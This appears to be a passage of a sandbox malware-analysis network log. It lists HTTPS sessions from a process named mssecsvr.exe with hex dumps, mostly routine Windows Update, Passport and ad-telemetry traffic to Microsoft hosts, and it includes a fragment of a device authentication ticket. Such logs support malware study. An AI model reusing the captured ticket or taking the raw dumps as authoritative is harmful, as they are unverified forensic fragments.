2022-07-20 13:43:48 UTC	77	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 13:43:48 UTC	92	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 13:42:48 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 089f811a-e14a-4e0d-940f-c97b341cfb92 PPServer: PPV: 30 H: BL02PFB47E937E0 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 13:43:47 GMT Connection: close Content-Length: 10109
2022-07-20 13:43:48 UTC	92	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.7	52990	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:17 UTC	8585	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224450Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:45:17 UTC	8586	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: bd8f19c1-c8be-414a-8dfe-41cf4f73537d Date: Wed, 20 Jul 2022 13:45:17 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.7	53036	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:17 UTC	8586	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=3e9db37a12bc40d7b2579be42fceeb2a&time=20220720T224451Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:45:17 UTC	8587	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: c7709003-797c-4cac-8117-645d76a13062 Date: Wed, 20 Jul 2022 13:45:17 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.7	53004	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:17 UTC	8587	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 13:45:18 UTC	8587	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 595e8612-e568-4854-9128-8d17851e673a MS-RequestId: 9ec2f57c-3982-4b46-af5e-a0424cd89080 MS-CV: ovgcNwpk5EaQeQE1.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 13:45:17 GMT Connection: close Content-Length: 35877
2022-07-20 13:45:18 UTC	8588	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 13:45:18 UTC	8603	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 13:45:18 UTC	8619	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.7	53045	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:18 UTC	8623	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=b40cd9fd56794e6daea42322ef33f804&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220720T224452Z&asid=3e9db37a12bc40d7b2579be42fceeb2a&eid= HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:45:18 UTC	8623	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 304dd5c3-3d1e-42fa-b131-63f79e4cfd32 Date: Wed, 20 Jul 2022 13:45:18 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.7	53106	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:19 UTC	8623	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 13:45:19 UTC	8624	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: a55004e0-86f8-452d-95e5-445f996ef8d6 MS-RequestId: e7665e82-1fda-4a1e-bad5-7610ac9cfa27 MS-CV: Us/NyvOmgUix4BnR.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 13:45:18 GMT Connection: close Content-Length: 35877
2022-07-20 13:45:19 UTC	8624	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 13:45:19 UTC	8640	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 13:45:19 UTC	8656	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.7	53138	52.152.110.14	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:20 UTC	8659	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 13:45:20 UTC	8660	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 20aeddb9-aa88-4a9d-8aaa-5bb4bf89834a MS-RequestId: ba7f7488-9c21-4e66-9a1d-d76072e44697 MS-CV: 1l0/tI/js0mHdwrh.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 13:45:19 GMT Connection: close Content-Length: 35877
2022-07-20 13:45:20 UTC	8660	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 13:45:20 UTC	8676	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 13:45:20 UTC	8692	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.7	53305	20.199.120.182	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:27 UTC	8695	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 39 66 37 64 33 32 65 62 64 66 31 63 32 62 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 89f7d32ebdf1c2b1
2022-07-20 13:45:27 UTC	8695	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 13:45:27 UTC	8695	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 39 66 37 64 33 32 65 62 64 66 31 63 32 62 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 54 69 38 64 44 74 63 47 2b 6e 56 77 43 42 53 39 37 48 76 31 6a 70 37 4f 4f 4f 44 72 71 4e 37 46 58 69 6f 47 4c 48 31 2f 76 2f 53 35 30 42 79 33 4f 4f 48 49 65 52 32 6e 33 78 53 30 68 6d 74 35 75 65 57 2f 6c 48 34 4c 4f 30 77 31 66 44 6f 30 51 46 2f 4c 79 39 36 2b 50 74 53 37 59 65 2b 64 53 43 59 4c 70 55 69 56 46 6c 58 56 77 62 48 46 35 50 46 30 47 44 53 76 70 4e 4e 55 4a 6e 49 47 77 53 38 65 48 68 6c Data Ascii: ATH 2 CON\DEVICE 1014Context: 89f7d32ebdf1c2b1<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdTi8dDtcG+nVwCBS97Hv1jp7OOODrqN7FXioGLH1/v/S50By3OOHIeR2n3xS0hmt5ueW/lH4LO0w1fDo0QF/Ly96+PtS7Ye+dSCYLpUiVFlXVwbHF5PF0GDSvpNNUJnIGwS8eHhl
2022-07-20 13:45:27 UTC	8696	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 39 66 37 64 33 32 65 62 64 66 31 63 32 62 31 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 89f7d32ebdf1c2b1
2022-07-20 13:45:27 UTC	8696	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 13:45:27 UTC	8696	IN	Data Raw: 4d 53 2d 43 56 3a 20 73 42 44 41 75 67 48 58 4d 6b 53 35 51 34 78 48 32 62 52 45 6a 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: sBDAugHXMkS5Q4xH2bREjg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.7	53358	20.40.129.122	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:27 UTC	8697	OUT	POST /v3/Delivery/Events/Impression HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Content-Length: 1521 Content-Type: text/plain; charset=UTF-8 Host: arc.msn.com Connection: Keep-Alive Cache-Control: no-cache
2022-07-20 13:45:27 UTC	8697	OUT	Data Raw: 50 49 44 3d 34 30 30 30 39 31 36 38 38 26 54 49 44 3d 37 30 30 31 32 39 37 30 32 26 43 49 44 3d 31 32 38 30 30 30 30 30 30 30 30 30 34 30 32 39 32 36 26 42 49 44 3d 34 38 33 31 32 38 37 37 38 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 54 26 54 50 49 44 3d 34 30 30 30 39 31 36 38 38 26 52 45 51 41 53 49 44 3d 41 41 38 32 33 39 37 33 41 46 45 39 34 46 38 32 38 36 46 37 43 36 33 42 33 37 39 36 37 44 36 45 26 41 53 49 44 3d 34 33 33 32 34 38 30 30 66 38 39 36 34 30 38 37 62 66 32 34 30 31 32 36 33 63 34 65 32 38 35 31 26 54 49 4d 45 3d 32 30 32 32 30 37 32 30 54 32 32 34 34 33 38 5a 26 53 4c 4f 54 3d 31 26 52 45 51 54 3d 32 30 32 32 30 37 32 30 54 31 33 34 33 35 38 26 4d 41 5f 53 63 6f 72 65 